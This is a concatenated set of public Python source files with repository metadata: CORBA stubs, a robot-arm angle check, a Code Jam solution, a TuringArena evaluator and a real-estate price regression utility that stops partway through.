self._obj.invoke("atingiu_maior_idade", _0_Lista01.Pessoa._d_atingiu_maior_idade, args) def pesso_ideal(self, *args): return self._obj.invoke("pesso_ideal", _0_Lista01.Pessoa._d_pesso_ideal, args) omniORB.registerObjref(Pessoa._NP_RepositoryId, _objref_Pessoa) _0_Lista01._objref_Pessoa = _objref_Pessoa del Pessoa, _objref_Pessoa # Pessoa skeleton __name__ = "Lista01__POA" class Pessoa (PortableServer.Servant): _NP_RepositoryId = _0_Lista01.Pessoa._NP_RepositoryId _omni_op_d = {"atingiu_maior_idade": _0_Lista01.Pessoa._d_atingiu_maior_idade, "pesso_ideal": _0_Lista01.Pessoa._d_pesso_ideal} Pessoa._omni_skeleton = Pessoa _0_Lista01__POA.Pessoa = Pessoa omniORB.registerSkeleton(Pessoa._NP_RepositoryId, Pessoa) del Pessoa __name__ = "Lista01" # interface Aluno _0_Lista01._d_Aluno = (omniORB.tcInternal.tv_objref, "IDL:Lista01/Aluno:1.0", "Aluno") omniORB.typeMapping["IDL:Lista01/Aluno:1.0"] = _0_Lista01._d_Aluno _0_Lista01.Aluno = omniORB.newEmptyClass() class Aluno : _NP_RepositoryId = _0_Lista01._d_Aluno[1] def __init__(self, *args, **kw): raise RuntimeError("Cannot construct objects of this type.") _nil = CORBA.Object._nil _0_Lista01.Aluno = Aluno _0_Lista01._tc_Aluno = omniORB.tcInternal.createTypeCode(_0_Lista01._d_Aluno) omniORB.registerType(Aluno._NP_RepositoryId, _0_Lista01._d_Aluno, _0_Lista01._tc_Aluno) # Aluno operations and attributes Aluno._d_media_n1_n2 = ((omniORB.tcInternal.tv_float, omniORB.tcInternal.tv_float), (omniORB.tcInternal.tv_boolean, ), None) Aluno._d_media_n_n3 = ((omniORB.tcInternal.tv_float, omniORB.tcInternal.tv_float), (omniORB.tcInternal.tv_boolean, ), None) # Aluno object reference class _objref_Aluno (CORBA.Object): _NP_RepositoryId = Aluno._NP_RepositoryId def __init__(self, obj): CORBA.Object.__init__(self, obj) def media_n1_n2(self, *args): return self._obj.invoke("media_n1_n2", _0_Lista01.Aluno._d_media_n1_n2, args) def media_n_n3(self, *args): return self._obj.invoke("media_n_n3", _0_Lista01.Aluno._d_media_n_n3, args) omniORB.registerObjref(Aluno._NP_RepositoryId, _objref_Aluno) _0_Lista01._objref_Aluno = _objref_Aluno del Aluno, _objref_Aluno # Aluno skeleton __name__ = "Lista01__POA" class Aluno (PortableServer.Servant): _NP_RepositoryId = _0_Lista01.Aluno._NP_RepositoryId _omni_op_d = {"media_n1_n2": _0_Lista01.Aluno._d_media_n1_n2, "media_n_n3": _0_Lista01.Aluno._d_media_n_n3} Aluno._omni_skeleton = Aluno _0_Lista01__POA.Aluno = Aluno omniORB.registerSkeleton(Aluno._NP_RepositoryId, Aluno) del Aluno __name__ = "Lista01" # interface Nadador _0_Lista01._d_Nadador = (omniORB.tcInternal.tv_objref, "IDL:Lista01/Nadador:1.0", "Nadador") omniORB.typeMapping["IDL:Lista01/Nadador:1.0"] = _0_Lista01._d_Nadador _0_Lista01.Nadador = omniORB.newEmptyClass() class Nadador : _NP_RepositoryId = _0_Lista01._d_Nadador[1] def __init__(self, *args, **kw): raise RuntimeError("Cannot construct objects of this type.") _nil = CORBA.Object._nil _0_Lista01.Nadador = Nadador _0_Lista01._tc_Nadador = omniORB.tcInternal.createTypeCode(_0_Lista01._d_Nadador) omniORB.registerType(Nadador._NP_RepositoryId, _0_Lista01._d_Nadador, _0_Lista01._tc_Nadador) # Nadador operations and attributes Nadador._d_categoria = ((omniORB.tcInternal.tv_long, ), ((omniORB.tcInternal.tv_string,0), ), None) # Nadador object reference class _objref_Nadador (CORBA.Object): _NP_RepositoryId = Nadador._NP_RepositoryId def __init__(self, obj): CORBA.Object.__init__(self, obj) def categoria(self, *args): return self._obj.invoke("categoria", _0_Lista01.Nadador._d_categoria, args) omniORB.registerObjref(Nadador._NP_RepositoryId, _objref_Nadador) _0_Lista01._objref_Nadador = _objref_Nadador del Nadador, _objref_Nadador # Nadador skeleton __name__ = "Lista01__POA" class Nadador (PortableServer.Servant): _NP_RepositoryId = _0_Lista01.Nadador._NP_RepositoryId _omni_op_d = {"categoria": _0_Lista01.Nadador._d_categoria} Nadador._omni_skeleton = Nadador _0_Lista01__POA.Nadador = Nadador omniORB.registerSkeleton(Nadador._NP_RepositoryId, Nadador) del Nadador __name__ = "Lista01" # interface Cliente _0_Lista01._d_Cliente = (omniORB.tcInternal.tv_objref, "IDL:Lista01/Cliente:1.0", "Cliente") omniORB.typeMapping["IDL:Lista01/Cliente:1.0"] = _0_Lista01._d_Cliente _0_Lista01.Cliente = omniORB.newEmptyClass() class Cliente : _NP_RepositoryId = _0_Lista01._d_Cliente[1] def __init__(self, *args, **kw): raise RuntimeError("Cannot construct objects of this type.") _nil = CORBA.Object._nil _0_Lista01.Cliente = Cliente _0_Lista01._tc_Cliente = omniORB.tcInternal.createTypeCode(_0_Lista01._d_Cliente) omniORB.registerType(Cliente._NP_RepositoryId, _0_Lista01._d_Cliente, _0_Lista01._tc_Cliente) # Cliente operations and attributes Cliente._d_credito = ((omniORB.tcInternal.tv_float, ), (omniORB.tcInternal.tv_float, ), None) # Cliente object reference class _objref_Cliente (CORBA.Object): _NP_RepositoryId = Cliente._NP_RepositoryId def __init__(self, obj): CORBA.Object.__init__(self, obj) def credito(self, *args): return self._obj.invoke("credito", _0_Lista01.Cliente._d_credito, args) omniORB.registerObjref(Cliente._NP_RepositoryId, _objref_Cliente) _0_Lista01._objref_Cliente = _objref_Cliente del Cliente, _objref_Cliente # Cliente skeleton __name__ = "Lista01__POA" class Cliente (PortableServer.Servant): _NP_RepositoryId = _0_Lista01.Cliente._NP_RepositoryId _omni_op_d = {"credito": _0_Lista01.Cliente._d_credito} Cliente._omni_skeleton = Cliente _0_Lista01__POA.Cliente = Cliente omniORB.registerSkeleton(Cliente._NP_RepositoryId, Cliente) del Cliente __name__ = "Lista01" # # End of module "Lista01" # __name__ = "ex1_idl" _exported_modules = ( "Lista01", ) # The end.

[ "ramon.jsa@gmail.com" ]

ramon.jsa@gmail.com

2f31bf8d1a5732d5f37e014050e8f02ea9baa77a

bfc00e523249cebab3303cb08e5b8bbe7a780f35

/icub-nightly/tools/icub-csv-angle-compare.py

e894853078f956e0e1ca03b048d39fb199efc668

[]

no_license

jon-weisz/fsmt.experiments

14d02b5931907ce074a52858eef27afaab3f96cd

08bf741b625853717b8e72d14f8f550b19b8d045

refs/heads/master

2021-01-02T08:19:29.936254

2015-09-10T18:22:25

41,696,098

0

null

UTF-8

Python

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964

py

__author__ = 'flier' import os import sys import csv import time logpath = os.environ['FSMLOG'] logfile = "/right_arm.dump" raw_file = logpath + logfile csv_repr = "/right_arm.csv" csv_file = logpath + csv_repr # Create an actual CSV File with open(raw_file) as infile, open(csv_file, 'w') as outfile: outfile.write(infile.read().replace(" ", ", ")) # Accessible representation joint_2 = [] with open(csv_file) as csvfile: reader = csv.reader(csvfile) for row in reader: joint_2.append(float(row[1])) last = len(joint_2) first_value = joint_2[0] last_value = joint_2[last - 1] time.sleep(2) if first_value < 25.0 or first_value > 35.0: print "First joint value is off by 5 degree: %s" % str(first_value) sys.exit(1) if last_value < 25.0 or last_value > 35.0: print "Last joint value is off by 5 degree: %s" % str(first_value) sys.exit(1) print "First and last joint values are correct" while True: time.sleep(2)

[ "flier@techfak.uni-bielefeld.de" ]

flier@techfak.uni-bielefeld.de

f67257c7ffde4b5aa13e4e6e961f2a3a9daf65c8

18c2ede12808a0c17a1eef3540cf54ad8f8c1420

/com/hhcf/fun/base-0.py

240d47ad5a7fae24fe50575aade3588da6f6410b

[]

no_license

shulanztf/python-cluster

d9e670f151887aeb4357a820473d03939e749ce1

f680d6e6bf55f7aac1cf0532dcc11e5fce593d5e

refs/heads/master

2021-06-25T10:47:28.810944

2020-09-27T10:10:20

99,528,331

0

1

null

UTF-8

Python

false

469

py

#! /usr/bin/env python # -*- encoding: utf-8 -*- """ @version: 1.0 @author: zhaotf @file: base-0.py @time: 2017/8/9 0009 15:29 """ # # python 引用/对象 # L1 = [1, 2, 3] # L2 = L1 # print(L1) # print(L2) # print(L1 == L2) # L2[0] = 5 # print(L1) # print(L2) # print(L1[0]) # print(L1 == L2) # L1 = [88,99] # print(L1 == L2) # 查看命名空间 dir() def func(): pass class Main(): def __init__(self): pass if __name__ == '__main__': pass

[ "1426763507@qq.com" ]

1426763507@qq.com

3fd03a10da1ee86b313c8f9fa695fa3f5b8704e9

022f659eb5703191c43ad07040a1b388686f1f3a

/venv/bin/wheel

bd6088288d6478420600dd88d28a538e816b5d34

[]

no_license

MusawerAli/scrappy

b296286fc1b60501fc9e218fcac6e51ac5227c7d

16b0e293bf8313c32af8ce42bda8f19e58367ff5

refs/heads/master

2022-11-16T15:19:16.854679

2020-06-28T11:41:23

274,632,244

0

null

UTF-8

Python

false

246

#!/home/musawer/PycharmProjects/tutorial/venv/bin/python # -*- coding: utf-8 -*- import re import sys from wheel.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "pakjalihouse@gmail.com" ]

pakjalihouse@gmail.com

52b26c5e1c3a48eb6128bda512ede5108d3c6150

612da563d2c01bb9824a45737b8109a30df1d631

/yielding_a_not_enumerated_property/evaluator.py

386240f07956225fc7bfb1ea192bf22b1bdab27d

[]

no_license

romeorizzi/turingarena-numerability-theory

e97680e47787782a114a72ef23ae10e1b643efef

69764663d8b193873268e92190dbc49c84e79fa6

refs/heads/master

2020-05-01T06:08:37.141662

2019-04-16T09:09:00

177,322,213

0

null

UTF-8

Python

false

1,801

py

import random import turingarena as ta NUM_MACHINES = 100 for tc in range(7): memoM = [] for i in range(0,NUM_MACHINES): memoM.append([random.randint(0, 1) for _ in range(0,NUM_MACHINES)]) for n in range(0,i+1): memoM[i][n] = 1 - memoM[n][n] if tc % 3: random.shuffle(memoM) if tc % 2: perm = list(range(0,NUM_MACHINES)) random.shuffle(perm) for i in range(0,NUM_MACHINES): bits_to_be_permuted = memoM[i][:] for n in range(0,NUM_MACHINES): memoM[i][n] = bits_to_be_permuted[perm[n]] memoP = [] for n in range(0,NUM_MACHINES): with ta.run_algorithm(ta.submission.source) as process: def M(i, n): return memoM[i][n] try: memoP.append(process.functions.P(n, callbacks = [M])) except ta.AlgorithmError as e: ta.goals["correct"] = False print(e) print(f"Your P({n}) = {memoP[n]}") P_is_new = True first_n_diff = None for i in range(0,NUM_MACHINES): P_and_Pi_differ = False for j in range(0,i+1): if memoM[i][j] != memoP[j]: P_and_Pi_differ = True first_n_diff = j break if P_and_Pi_differ: print(f"The first diff with machine P_{i} is on the natural {first_n_diff}. Here, P({first_n_diff}) = {memoP[first_n_diff]} whereas P({i}) = {memoM[i][first_n_diff]}") else: ta.goals.setdefault("correct", False) print(f"NO: your property P coincides with our property P_{i} for all n <= {i}. Indeed, P[0..{i}] = {memoP[:i+1]} and P_{i}[0..{i}] = {memoM[i][:i+1]}") ta.goals.setdefault("correct", True) print(ta.goals)

[ "romeo.rizzi@univr.it" ]

romeo.rizzi@univr.it

090cc6c260c1c4101656b919e078907d482c83f1

15f321878face2af9317363c5f6de1e5ddd9b749

/solutions_python/Problem_74/1231.py

6e8b5095b7fc81541810f871636b8b16ccb1216d

[]

no_license

dr-dos-ok/Code_Jam_Webscraper

c06fd59870842664cd79c41eb460a09553e1c80a

26a35bf114a3aa30fc4c677ef069d95f41665cc0

refs/heads/master

2020-04-06T08:17:40.938460

2018-10-14T10:12:47

null

0

null

UTF-8

Python

false

825

py

fin = open('input.txt', 'r') fout = open('output.txt', 'w') n = int(fin.readline()) for i in range(n): st = fin.readline() t = st.split() t_t = 0 robots = {'O':[1,0,0], 'B':[1,0,0]} prev = t[1] for j in range(int(t[0])): robot = t[2*j+1] loc = int(t[2*j+2]) robots[robot][1] = 0 if robot != prev: robots[robot][2]=0 temp_t = abs(loc - robots[robot][0]) if (robot != prev): if ((temp_t - robots[prev][2])>0): temp_t -= robots[prev][2] else: temp_t = 0 temp_t += 1 t_t += temp_t robots[robot][0] = loc robots[robot][1] = temp_t robots[robot][2] += temp_t prev = robot fout.write('Case #'+str(i+1)+': '+str(t_t)+'\n') fin.close() fout.close()

[ "miliar1732@gmail.com" ]

miliar1732@gmail.com

a642387dc2f788a485abf40e92d06f5d8ccdd576

25040cc2a98c5e4b70e50acea619e480cd10037a

/Util.py

05e0a9b6e67fcef5c426b85fe386746e54793736

[]

no_license

emanuelbaquero/modelo_properatti

a85adcc472ec0b2070a9ddf7095315217443d4b7

8a568e53a32654570f0d773214a92b0eb9b6320b

refs/heads/master

2022-06-16T22:37:54.272166

2020-05-06T16:31:16

257,413,620

0

null

UTF-8

Python

false

40,883

py

import numpy as np import pandas as pd import unidecode as uni from sklearn.cross_validation import cross_val_score from sklearn import metrics from sklearn import linear_model from sklearn.model_selection import train_test_split import matplotlib.pyplot as plt from sklearn.preprocessing import StandardScaler import statsmodels.api as sm pd.set_option('chained_assignment',None) def eliminar_features(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] df = pd.DataFrame(modeloMatriz.precio_m2) for i in xs.columns: #DEJO 30 VARIABLES PARA QUE EXPLIQUEN EL MODELO if abs(y.corr(xs[i]))>0.0719: df = pd.concat([df, pd.DataFrame(xs[i])],axis=1) return df def eliminar_features_lasso(p_modeloMatriz): modeloMatriz_2 = p_modeloMatriz cantidad_indices = 0 for i in range (1, 10): modelo_lasso = modelo_lasso_cross_validation(modeloMatriz_2) df1 =pd.DataFrame({'coef':modelo_lasso.coef_}) df2 = pd.DataFrame(modeloMatriz_2.columns) df2 = df2[1:] df2 = df2.reset_index(drop=True) df0 =pd.concat([df1,df2],axis=1) indices = [] for i in df0.index: if abs(df0.coef[i])!=0.000000: indices.append(df0.index[i]) print('len indices; ',len(indices)) print('tamaño df0: ', df0.shape[0]) if len(indices) == df0.shape[0]: print('break') break columnas = pd.DataFrame(df0.iloc[indices])[0] modeloMatriz_2 = modeloMatriz_2[columnas] modeloMatriz_2 = pd.concat([p_modeloMatriz.precio_m2, modeloMatriz_2],axis=1) return modeloMatriz_2 def summary(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.6) model = sm.OLS(y_train, x_train).fit() predictions = model.predict(x_test) print ("EMC:", metrics.mean_squared_error(y_test, predictions)) print(model.summary()) return model def modelo_lasso_cross_validation(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] xs = xs.as_matrix() y = y.as_matrix() lassocv = linear_model.LassoCV(alphas=np.linspace(0.01,100, 1000), cv=5, normalize=True) x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.4) lassocv.fit(x_train, y_train) alpha_lasso = lassocv.alpha_ lasso = linear_model.Lasso(alpha=alpha_lasso, normalize=True) x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.4) lasso_model =lasso.fit(x_train, y_train) scores = cross_val_score(lasso_model, x_train, y_train, cv=5) y_predict = lasso_model.predict(x_test) plt.scatter(y_test, y_predict, color='blue') #plt.scatter(x_test[:,0], y_predict, color='red') print('LASSO REGRESSION') print('CROSS VALIDATION:', scores[0], scores[1], scores[2], scores[3],scores[4]) print ('MAE LASSO:', metrics.mean_absolute_error(y_test, y_predict)) print ('MSE LASSO:', metrics.mean_squared_error(y_test, y_predict)) print ('RMSE LASSO:', np.sqrt(metrics.mean_squared_error(y_test, y_predict))) print ("LASSO -> R2 TRAIN: ", lasso_model.score(x_train, y_train)) print ("LASSO -> R2 TEST: ", lasso_model.score(x_test, y_test)) return lasso_model def modelo_ridge_cross_validation(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] xs = xs.as_matrix() y = y.as_matrix() rlmcv = linear_model.RidgeCV(alphas=np.linspace(0.01,100, 1000), cv=5, normalize=True) x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.4) rlmcv.fit(x_train, y_train) predictions = rlmcv.predict(x_test) alpha_ridge = rlmcv.alpha_ rlm = linear_model.Ridge(alpha=alpha_ridge, normalize=True) x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.4) ridge_model = rlm.fit(x_train, y_train) scores = cross_val_score(ridge_model, x_train, y_train, cv=5) y_predict = ridge_model.predict(x_test) plt.scatter(y_test, y_predict, color='blue') #plt.scatter(x_test[:,0], y_predict, color='red') print('REGULARIZACION CON RIDGE') print('CROSS VALIDATION:', scores[0], scores[1], scores[2], scores[3],scores[4]) print ('MAE RIDGE:', metrics.mean_absolute_error(y_test, y_predict)) print ('MSE RIDGE:', metrics.mean_squared_error(y_test, y_predict)) print ('RMSE RIDGE:', np.sqrt(metrics.mean_squared_error(y_test, y_predict))) print ("RIDGE -> R2 TRAIN: ", ridge_model.score(x_train, y_train)) print ("RIDGE -> R2 TEST: ", ridge_model.score(x_test, y_test)) return ridge_model def modelo_regresion_lineal_normalizar_antes(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] #ESTANDARIZAR stdscaler = StandardScaler() #NORMALIZO VARIABLES DE ENTRENAMIENTO for i in xs.columns: xs[i] = stdscaler.fit_transform(xs[[i]]) y = stdscaler.fit_transform(pd.DataFrame(y)) x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.4) #NORMALIZO VARIABLES DE TESTING #for i in x_test.columns: # x_test[i] = stdscaler.fit_transform(x_test[[i]]) #y_test = stdscaler.fit_transform(pd.DataFrame(y_test)) #FIT modelo = linear_model.LinearRegression(fit_intercept=False,normalize=False) modelo.fit(x_train,y_train) #CROSS VALIDATION scores = cross_val_score(modelo, x_train, y_train, cv=5) #PREDECIR DATOS "Y" DE "X" TEST y_predict = modelo.predict(x_test) #GENERO EJE X -> SUPERFICIE TOTAL x1 = x_test.superficie_total #GENERO EJE Y -> PRECIO M2 DE TEST x2 = y_test # EJE Y -> PRECIO M2 PREDICHO x3 = y_predict #PLOT plt.scatter(x1,x2,label='test modelo', color='blue') #plt.scatter(x1,x3,label='prediccion modelo', color='red') #plt.scatter(x2,x3,label='prediccion modelo_2', color='yellow') plt.title('grafico modelo') plt.show() print('CROSS VALIDATION:', scores[0], scores[1], scores[2], scores[3],scores[4]) print ('MAE:', metrics.mean_absolute_error(y_test, y_predict)) print ('MSE:', metrics.mean_squared_error(y_test, y_predict)) print ('RMSE:', np.sqrt(metrics.mean_squared_error(y_test, y_predict))) print('EL R2 TRAIN ES DE: ', modelo.score(x_train,y_train)) print('EL R2 TEST ES DE: ', modelo.score(x_test,y_test)) return modelo def modelo_regresion_lineal(p_modeloMatriz): modeloMatriz = p_modeloMatriz xs = modeloMatriz.iloc[:,1:] y = modeloMatriz.iloc[:,0] #TRANSFORMO VARIABLES INDEPENDIENTES EN FORMATO MATRIZ xs = xs.as_matrix() #TRANSFORMO VARIABLE DEPENDIENTE EN FORMATO MATRIZ y = y.as_matrix() #PARTICIONAR DATOS DE ENTRENAMIENTO Y TESTING x_train, x_test, y_train, y_test = train_test_split(xs, y, test_size=0.6) #FIT modelo = linear_model.LinearRegression(fit_intercept=False,normalize=True, n_jobs=1) modelo.fit(x_train,y_train) #CROSS VALIDATION scores = cross_val_score(modelo, x_train, y_train, cv=5) #PREDECIR DATOS "Y" DE "X" TEST y_predict = modelo.predict(x_test) #PENDIENTES pendientes = modelo.coef_ #ORDENADA ordenada = modelo.intercept_ #GENERO EJE X -> SUPERFICIE TOTAL x1 = x_test[:,0] #GENERO EJE Y -> PRECIO M2 DE TEST x2 = y_test # EJE Y -> PRECIO M2 PREDICHO x3 = y_predict #PLOT plt.scatter(x2,x3,label='test modelo', color='blue') #plt.scatter(x1,x3,label='prediccion modelo', color='red') #plt.scatter(x2,x3,label='prediccion modelo_2', color='yellow') plt.title('grafico modelo') plt.show() print('CROSS VALIDATION:', scores[0], scores[1], scores[2], scores[3],scores[4]) print ('MAE:', metrics.mean_absolute_error(y_test, y_predict)) print ('MSE:', metrics.mean_squared_error(y_test, y_predict)) print ('RMSE:', np.sqrt(metrics.mean_squared_error(y_test, y_predict))) print('EL R2 TRAIN ES DE: ', modelo.score(x_train,y_train)) print('EL R2 TEST ES DE: ', modelo.score(x_test,y_test)) return modelo def limpiarDatos(p_data, alpha=1): data=p_data #NULL LAS FILAS REPETIDAS DEL CAMPO DESCRIPCION data = data.drop_duplicates(subset=['description'], keep='first') #QUITO LOS STORE data = data[~(data.property_type.str.contains('store'))] #NULL LAS SUPERFICIES CUBIERTAS MAYORES A LAS TOTALES data.surface_covered_in_m2 = data.surface_covered_in_m2[(data.surface_covered_in_m2>data.surface_total_in_m2)] #NULL LAS FILAS CON SUPERFICIE CUBIERTA MENOR A 16 data.surface_covered_in_m2[(data.surface_covered_in_m2<16)&(data.property_type.str.contains('apartment'))] = np.nan #NULL LAS FILAS CON SUPERFICIE TOTAL MENOR A 16 data.surface_total_in_m2[(data.surface_total_in_m2<16)&(data.property_type.str.contains('apartment'))] = np.nan #NULL LAS FILAS CON SUPERFICIES CUBIERTAS MENOR 50 DE CASAS #data = data[(~((data.surface_covered_in_m2<50)&(data.property_type.str.contains('house'))))] data.surface_covered_in_m2[(data.surface_covered_in_m2<50)&(data.property_type.str.contains('house'))] = np.nan #NULL LAS FILAS CON SUPERFICIES TOTALES MENOR A 50 DE CASAS data.surface_total_in_m2[(data.surface_total_in_m2<50)&(data.property_type.str.contains('house'))] = np.nan ##NULL LAS FILAS CON SUPERFICIES CUBIERTAS MENOR A 30 DE PH data.surface_covered_in_m2[(data.surface_covered_in_m2<50)&(data.property_type.str.contains('PH'))] = np.nan ##NULL LAS FILAS CON SUPERFICIES TOTALES MENOR A 30 DE PH data.surface_total_in_m2[(data.surface_total_in_m2<50)&(data.property_type.str.contains('PH'))] = np.nan #NULL LAS FILAS CON SUPERFICIES TOTALES MAYORES A 500 DE DTO data.surface_total_in_m2[(data.surface_total_in_m2>1000)&(data.property_type.str.contains('apartment'))] = np.nan #NULL LAS FILAS CON SUPERFICIES CUBIERTAS MAYORES A 500 DE DTO data.surface_covered_in_m2[(data.surface_covered_in_m2>1000)&(data.property_type.str.contains('apartment'))] = np.nan #NULL LAS FILAS CON SUPERFICIES CUBIERTAS MAYORES A 500 DE CASAS data.surface_covered_in_m2[(data.surface_covered_in_m2>30000)&(data.property_type.str.contains('house'))] = np.nan #NULL LAS FILAS CON SUPERFICIES TOTALES MAYORES A 500 DE CASAS data.surface_total_in_m2[(data.surface_total_in_m2>30000)&(data.property_type.str.contains('house'))] = np.nan #NULL LAS FILAS CON SUPERFICIES CUBIERTAS MAYORES DE PH data.surface_covered_in_m2[(data.surface_covered_in_m2>1200)&(data.property_type.str.contains('PH'))] = np.nan #NULL LAS FILAS CON SUPERFICIES TOTAL MAYORES DE PH data.surface_total_in_m2[(data.surface_total_in_m2>1200)&(data.property_type.str.contains('PH'))] = np.nan #NULL lAS FILAS CON SUPERFICIES TOTALES MENORES A data.surface_total_in_m2[data.surface_total_in_m2<16] = np.nan #QUITAS LAS FILAS CON SUPERFICIES TOTALES MAYORES A data = data[(data.surface_total_in_m2<10000)|(data.surface_total_in_m2.isnull())] #NULL CUBIERTAS MENORES A data.surface_covered_in_m2[data.surface_covered_in_m2<16] = np.nan #QUITO LAS FILAS CON SUPERFICIES CUBIERTA MAYORES A data = data[(data.surface_covered_in_m2<10000)|(data.surface_covered_in_m2.isnull())] #NULL FILAS CON PRECIOS MENORES A $500 data.price_aprox_usd[data.price_aprox_usd<500] = np.nan data.price_aprox_usd[data.price_aprox_usd>2000000] = np.nan #QUITAMOS LOS PRECIOS M2 data = data[~((data.price_usd_per_m2>6000)|(data.price_usd_per_m2<500))] def generar_m2(p_data): data = p_data data['nuevos_precios_m2'] = data.price_aprox_usd/data.surface_total_in_m2 data.price_aprox_usd[data.nuevos_precios_m2>6000] = np.nan data.price_aprox_usd[data.nuevos_precios_m2<500] = np.nan return data.price_aprox_usd data.price_aprox_usd = generar_m2(data) # PONGO NULOS LOS OUTLIERS CON ->> Z-SCORE = alpha data = OutliersSupTotal(data, alpha) data = OutliersSupCubierta(data, alpha) data = OutliersPrecioUSD(data, alpha) data = OutliersPrecioM2(data, alpha) data = quitarMayusculasAcentos(data) data['ambientes'] = generoAmbientes(data) #data = utl.TransformacionData(data) data['superficieJardines'] = generarSupJardines(data) data['superficieTerraza'] = generarSupTerrazas(data) data['superficieJarTer'] = generarSupJarTer(data) #IMPUTAR POR LA MEDIA ESTIMADA POR LOCALIDAD, BARRIO, PROPIEDAD, ETC data.imputar_ambientes = imputarAmbientes(data) data.surface_covered_in_m2 = ImputarSupCubierta(data) data.imputar_ambientes[data.imputar_ambientes==0]=np.nan data.surface_total_in_m2 = ImputarSupTotal(data) data.surface_total_in_m2 = ImputarTotalMenorCubierta(data) data.price_aprox_usd = imputarPrecio(data) #data.price_usd_per_m2 = imputarPrecioM2(data) data = OutliersSupTotal(data, alpha+2) data = OutliersSupCubierta(data, alpha+2) data = OutliersPrecioUSD(data, alpha+2) data = OutliersPrecioM2(data, alpha+3) return data def nuevosDatos (p_modeloMatriz, superficie_total, jardin, terraza, ambientes, tipo, barrio): modeloMatriz = p_modeloMatriz ##SUPERFICIE TOTAL df0 = pd.DataFrame({'superficie_total':pd.Series(superficie_total)}) ##BARRIOS barrios = pd.Series(modeloMatriz.iloc[:,7:].columns) barrios = (barrios.str.replace('_',' ')) df1 = barrios.apply(lambda x: 1 if x==barrio else 0) df2 = pd.DataFrame(columns=barrios) df2 = df2.append({ 'flores' : 0 } , ignore_index=True) df2 = df2.fillna(0).astype(int) df2.iloc[:,barrios[barrios.str.contains(barrio+'$',regex=True)].index] = '1' ##AMBIENTES Y TIPOS if jardin=='1': var_jardin = 'jardin' else: var_jardin = '' if terraza=='1': var_terraza = 'terraza' else: var_terraza = '' if (jardin == '1') & (terraza == '1'): var_jardinTerraza = 'jardinTerraza' else: var_jardinTerraza = '' df4 = pd.DataFrame({'jardin':pd.Series(0),'jardinTerraza':pd.Series(0),'CASA':pd.Series(0),'PH':pd.Series(0),'DTO':pd.Series(0)}) indices = df4.columns indices = pd.Series(indices).astype(str) indices_bool = (indices.apply(lambda x: x=='CASA')) | (indices.apply(lambda x: x==var_jardin)) | (indices.apply(lambda x: x==var_terraza)) | (indices.apply(lambda x: x==var_jardinTerraza)) serie_df4 = indices_bool.apply(lambda x : 1 if x else 0) df4_proc = pd.DataFrame({ 'jardin':pd.Series(serie_df4[0]), 'jardinTerraza':pd.Series(serie_df4[1]), 'CASA':pd.Series(serie_df4[2]), 'PH':pd.Series(serie_df4[3]), 'DTO':pd.Series(serie_df4[4]) }) predecir_data = pd.concat([df0,df4_proc],axis=1) predecir_data = pd.concat([predecir_data, df2],axis=1) #predecir_data.superficie_total_2 = predecir_data.superficie_total**2 return predecir_data def generarDummies(p_matriz): matriz = p_matriz # TRANSFORMO A FLOAT PARA QUE PUEDA COMPARAR EL PROXIMO PROCESO matriz.ambientes = matriz.ambientes.astype(float) #GENERO DUMMYS DE AMBIENTES matriz['1_AMBIENTE'] = (matriz.ambientes>=1)&(matriz.ambientes<2) matriz['2_AMBIENTE'] = (matriz.ambientes>=2)&(matriz.ambientes<3) matriz['3_AMBIENTE'] = (matriz.ambientes>=3)&(matriz.ambientes<4) matriz['4_AMBIENTE'] = (matriz.ambientes>=4)&(matriz.ambientes<5) matriz['5_AMBIENTE'] = (matriz.ambientes>=5)&(matriz.ambientes<6) matriz['6_AMBIENTE'] = (matriz.ambientes>=6)&(matriz.ambientes<7) matriz['7_AMBIENTE'] = (matriz.ambientes>=7)&(matriz.ambientes<8) matriz[['1_AMBIENTE','2_AMBIENTE','3_AMBIENTE','4_AMBIENTE', '5_AMBIENTE','6_AMBIENTE','7_AMBIENTE']] = matriz[['1_AMBIENTE','2_AMBIENTE','3_AMBIENTE','4_AMBIENTE', '5_AMBIENTE','6_AMBIENTE','7_AMBIENTE']].applymap(lambda x : 1 if (x) else 0) #GENERO DUMMYS TIPO DE PROPIEDAD matriz['CASA'] = matriz.propiedad.str.contains('house') matriz['PH'] = matriz.propiedad.str.contains('PH') matriz['DTO'] = matriz.propiedad.str.contains('apartment') matriz[['CASA','PH','DTO']] = matriz[['CASA','PH','DTO']].applymap(lambda x : 1 if x else 0) #ELIMINO REGISTROS NULOS DE VARIABLES A UTILIZAR EN EL MODELO matriz=matriz[matriz.precio_m2.notnull()] matriz=matriz[matriz.superficie_total.notnull()] matriz=matriz[matriz.ambientes.notnull()] #GENERO DUMMYS DE BARRIOS #QUITO NULOS DE LA COLUMNA STATE_NAME matriz = matriz[matriz.barrio.notnull()] #CREO LISTA DE BARRIOS barrios = matriz[matriz.localidad.str.contains('capital')].barrio.unique() #GENERO DUMMYS for barrio in barrios: indices_barrios = (matriz.index[matriz.barrio.str.contains(barrio)]) barrio = barrio.lower().replace(' ','_') df = matriz df.barrio = df.barrio.apply(lambda x : x.lower().replace(' ','_')) df[barrio] = df.barrio.str.contains(barrio) numero_barrios = len(matriz.barrio[matriz.localidad.str.contains('capital')].unique()) indices_dummys_barrios = matriz.shape[1]-numero_barrios #CREO EL DATAFRAME CON LAS DUMMYS DE BARRIOS dummys_barrios = matriz.iloc[:,indices_dummys_barrios:] dummys_barrios = dummys_barrios.applymap(lambda x : 1 if (x) else 0) #GENERO DUMMYS DE BARRIOS EN EL DATAFRAME 